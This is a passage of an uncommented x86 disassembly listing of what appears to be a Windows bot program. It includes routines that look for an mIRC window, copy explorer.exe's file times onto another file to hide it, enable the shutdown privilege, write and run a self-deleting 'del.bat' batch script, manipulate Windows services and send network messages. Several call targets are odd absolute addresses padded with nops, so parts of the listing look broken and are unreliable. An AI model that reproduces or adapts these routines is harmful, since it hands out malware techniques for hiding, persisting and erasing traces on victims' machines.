arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_4185B2
		push	ebx
		mov	ebx, edi


loc_418596:				; CODE XREF: sub_418579+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_4185B5
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418596
		pop	ebx


loc_4185B2:				; CODE XREF: sub_418579+18j
		pop	edi
		pop	esi
		retn
sub_418579	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B5	proc near		; CODE XREF: sub_418579+25p
					; sub_4185D3+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DFEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_4185D0
		cmp	al, 7Ah
		jg	short loc_4185D0
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_4185D0:				; CODE XREF: sub_4185B5+Ej
					; sub_4185B5+12j
		xor	eax, eax
		retn
sub_4185B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185D3	proc near		; CODE XREF: sub_415E19+10p
					; ___:00415EEBp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B9C0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_418579
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418611:				; CODE XREF: sub_4185D3+B6j
		test	esi, esi
		jle	short loc_41868F
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DFEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418687


loc_418637:				; CODE XREF: sub_4185D3+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_4185B5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418658
		mov	eax, ecx


loc_418658:				; CODE XREF: sub_4185D3+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41868B
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DFEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DFEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418637


loc_418687:				; CODE XREF: sub_4185D3+62j
		dec	edi
		dec	esi
		jmp	short loc_418611
; ---------------------------------------------------------------------------


loc_41868B:				; CODE XREF: sub_4185D3+8Aj
		xor	eax, eax
		jmp	short loc_418694
; ---------------------------------------------------------------------------


loc_41868F:				; CODE XREF: sub_4185D3+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418694:				; CODE XREF: sub_4185D3+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4185D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418699	proc near		; CODE XREF: sub_401ACD+66C5p
					; sub_401ACD+76FFp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2690C56h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 2810000h
		lea	eax, [ebp+var_100]


loc_4186D2:				; CODE XREF: sub_418699+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_4186DE
		cmp	cl, 9
		jnz	short loc_4186E1


loc_4186DE:				; CODE XREF: sub_418699+3Ej
		inc	eax
		jmp	short loc_4186D2
; ---------------------------------------------------------------------------


loc_4186E1:				; CODE XREF: sub_418699+43j
					; sub_418699+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186FB
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_4186E1
		cmp	cl, 21h
		jl	short loc_4186E1


loc_4186FB:				; CODE XREF: sub_418699+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DB17C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418699	endp


; =============== S U B	R O U T	I N E =======================================



sub_418723	proc near		; CODE XREF: sub_401ACD+2470p
		push	esi
		push	0
		call	dword_4CB9A4
		test	eax, eax
		jz	short loc_41875A
		push	1
		call	dword_4CB9C4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41875A
		push	edi
		push	esi
		nop
		call	near ptr 28206E8h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2820000h
		call	dword_4CBA28
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41875A:				; CODE XREF: sub_418723+Bj
					; sub_418723+19j
		xor	eax, eax
		pop	esi
		retn
sub_418723	endp


; =============== S U B	R O U T	I N E =======================================



sub_41875E	proc near		; CODE XREF: sub_401ACD+74BFp

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB9E0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_4187DA
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 283051Ch
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2830368h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CBA30
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CBA30
		push	ebx
		nop
		call	near ptr 2830000h
		push	edi
		nop
		call	near ptr 2680000h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_4187DC
; ---------------------------------------------------------------------------


loc_4187DA:				; CODE XREF: sub_41875E+16j
		xor	eax, eax


loc_4187DC:				; CODE XREF: sub_41875E+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41875E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4187E0	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	short loc_41887F
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270F8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 28406E4h
		nop
		push	ebx
		mov	ebx, dword_427070
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41887F
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 2840000h
		nop
		push	esi
		call	ebx


loc_41887F:				; CODE XREF: sub_4187E0+2Aj
					; sub_4187E0+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4187E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418884	proc near		; CODE XREF: sub_401ACD+1682p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB914
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A6	proc near		; CODE XREF: sub_401ACD+270Ep
					; ___:00416C12p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_4188CA
		cmp	dword_4CBAA4, esi
		jnz	short loc_4188CA
		push	esi
		call	sub_401000
		pop	ecx


loc_4188CA:				; CODE XREF: sub_4188A6+13j
					; sub_4188A6+1Bj
		call	sub_40B583
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2730896h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_418A2A
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 2720000h
		nop
		push	edi
		nop
		call	near ptr 2680000h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43DB88
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 26A0587h
		push	eax
		nop
		call	near ptr 268050Ah
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 26A04C6h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4189D2
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 26A0406h


loc_4189D2:				; CODE XREF: sub_4188A6+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2850000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 26802D4h


loc_418A2A:				; CODE XREF: sub_4188A6+72j
		pop	edi
		pop	esi
		leave
		retn
sub_4188A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A2E	proc near		; CODE XREF: sub_401ACD+7133p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26E066Ah
		cmp	[ebp+var_84], 2
		jnz	short loc_418AC4
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB954
		push	edi
		push	eax
		call	dword_4CB964
		test	eax, eax
		jz	short loc_418AB6
		push	[ebp+arg_10]
		push	offset dword_4394FC


loc_418A8F:				; CODE XREF: sub_418A2E+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		jmp	short loc_418AEE
; ---------------------------------------------------------------------------


loc_418AB6:				; CODE XREF: sub_418A2E+57j
		nop
		call	near ptr 2690C56h
		push	eax
		push	offset unk_4394D4
		jmp	short loc_418A8F
; ---------------------------------------------------------------------------


loc_418AC4:				; CODE XREF: sub_418A2E+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_4394A4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_418AEE:				; CODE XREF: sub_418A2E+86j
		pop	edi
		leave
		retn
sub_418A2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AF1	proc near		; CODE XREF: sub_401ACD+551Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26E066Ah
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_418B47
		cmp	[ebp+var_8C], 0
		jnz	short loc_418B30
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418B47
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B30:				; CODE XREF: sub_418AF1+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418B42
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418B47


loc_418B42:				; CODE XREF: sub_418AF1+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418B47:				; CODE XREF: sub_418AF1+27j
					; sub_418AF1+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26C0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26C0450h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41E0D4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41E0B7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		call	near ptr 27D081Ah
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BD1	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 26A0D72h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276E0
		call	sub_41D174
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C0E	proc near		; CODE XREF: sub_401ACD:loc_406021p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C66
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439520[esi]
		push	edi
		push	eax
		call	sub_418C88
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C56
		push	edi
		push	off_43951C[esi]
		push	offset unk_439630


loc_418C46:				; CODE XREF: sub_418C0E+56j
		mov	esi, offset dword_4DBA40
		push	esi
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_418C83
; ---------------------------------------------------------------------------


loc_418C56:				; CODE XREF: sub_418C0E+2Aj
		push	eax
		call	sub_418D2A
		pop	ecx
		push	eax
		push	edi
		push	offset unk_439604
		jmp	short loc_418C46
; ---------------------------------------------------------------------------


loc_418C66:				; CODE XREF: sub_418C0E+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DBA40
		push	off_439518[eax*4]
		push	offset unk_4395E0
		push	esi
		call	sub_41C266
		add	esp, 0Ch


loc_418C83:				; CODE XREF: sub_418C0E+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418C0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C88	proc near		; CODE XREF: sub_418C0E+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB9C8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418CAF
		nop
		call	near ptr 2690C56h
		mov	ebx, eax
		jmp	short loc_418D24
; ---------------------------------------------------------------------------


loc_418CAF:				; CODE XREF: sub_418C88+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB8B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418CCF
		call	near ptr 2690C56h
		nop
		mov	ebx, eax
		jmp	short loc_418D1C
; ---------------------------------------------------------------------------


loc_418CCF:				; CODE XREF: sub_418C88+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418D02
		cmp	eax, 3
		jz	short loc_418CF3
		jle	short loc_418D15
		cmp	eax, 6
		jg	short loc_418D15
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB91C
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418CF3:				; CODE XREF: sub_418C88+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB8B8
		jmp	short loc_418D09
; ---------------------------------------------------------------------------


loc_418D02:				; CODE XREF: sub_418C88+4Dj
		push	esi
		call	dword_4CB920


loc_418D09:				; CODE XREF: sub_418C88+69j
					; sub_418C88+78j
		test	eax, eax
		jnz	short loc_418D15
		nop
		call	near ptr 2690C56h
		mov	ebx, eax


loc_418D15:				; CODE XREF: sub_418C88+54j
					; sub_418C88+59j ...
		push	esi
		call	dword_4CB8CC


loc_418D1C:				; CODE XREF: sub_418C88+45j
		push	edi
		call	dword_4CB8CC
		pop	esi


loc_418D24:				; CODE XREF: sub_418C88+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D2A	proc near		; CODE XREF: sub_418C0E+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418DDF
		jz	loc_418DD8
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418DA2
		jz	short loc_418D98
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D8E
		dec	ecx
		dec	ecx
		jz	short loc_418D84
		dec	ecx
		jz	short loc_418D7A
		sub	ecx, 51h
		jz	short loc_418D70
		sub	ecx, 24h
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D70:				; CODE XREF: sub_418D2A+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D7A:				; CODE XREF: sub_418D2A+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D84:				; CODE XREF: sub_418D2A+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D8E:				; CODE XREF: sub_418D2A+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418D98:				; CODE XREF: sub_418D2A+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DA2:				; CODE XREF: sub_418D2A+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418DD1
		dec	ecx
		jz	short loc_418DCA
		dec	ecx
		jz	short loc_418DC3
		dec	ecx
		jnz	loc_418E55	; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E47
; ---------------------------------------------------------------------------


loc_418DC3:				; CODE XREF: sub_418D2A+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DCA:				; CODE XREF: sub_418D2A+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD1:				; CODE XREF: sub_418D2A+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DD8:				; CODE XREF: sub_418D2A+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418DDF:				; CODE XREF: sub_418D2A+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E42
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E55 ; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E96[ecx]
		jmp	off_418E6E[ecx*4] ; switch jump


loc_418E03:				; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecifiedDa ; jumptable 00418DFC case 7
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E0A:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDepe ; jumptable 00418DFC case 17
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E11:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceDe_0 ; jumptable 00418DFC case 10
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E18:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasB ; jumptable 00418DFC case 0
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheSpecified_0 ; jumptable 00418DFC case 2
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E26:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceCoul ; jumptable 00418DFC case 11
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHa_0 ; jumptable 00418DFC case 14
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E34:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheRequested_1 ; jumptable 00418DFC case 3
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E3B:				; CODE XREF: sub_418D2A+D2j
					; DATA XREF: ___:off_418E6Eo
		push	offset aTheServiceHasN ; jumptable 00418DFC case 4
		jmp	short loc_418E47
; ---------------------------------------------------------------------------


loc_418E42:				; CODE XREF: sub_418D2A+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E47:				; CODE XREF: sub_418D2A+41j
					; sub_418D2A+4Bj ...
		push	offset dword_4DB380
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_418E68
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418D2A+36j
					; sub_418D2A+89j ...
		push	eax		; default
					; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB380
		call	sub_41C266
		add	esp, 0Ch


loc_418E68:				; CODE XREF: sub_418D2A+129j
		mov	eax, offset dword_4DB380
		retn
sub_418D2A	endp

; ---------------------------------------------------------------------------
off_418E6E	dd offset loc_418E18	; DATA XREF: sub_418D2A+D2r
		dd offset loc_418E1F	; jump table for switch	statement
		dd offset loc_418E34
		dd offset loc_418E3B
		dd offset loc_418E03
		dd offset loc_418E11
		dd offset loc_418E26
		dd offset loc_418E2D
		dd offset loc_418E0A
		dd offset loc_418E55
byte_418E96	db	0,     9,     1,     2 ; DATA XREF: sub_418D2A+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EA8	proc near		; CODE XREF: sub_401ACD+44D6p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB9C8
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_418EE0:				; CODE XREF: sub_418EA8+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB994
		test	eax, eax
		jnz	short loc_418F1A
		call	near ptr 2690C56h
		nop
		cmp	eax, 0EAh
		jnz	loc_418FCE


loc_418F1A:				; CODE XREF: sub_418EA8+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418FC5
		lea	esi, [ebp+var_188]


loc_418F2B:				; CODE XREF: sub_418EA8+117j
		mov	eax, [esi+8]
		dec	eax
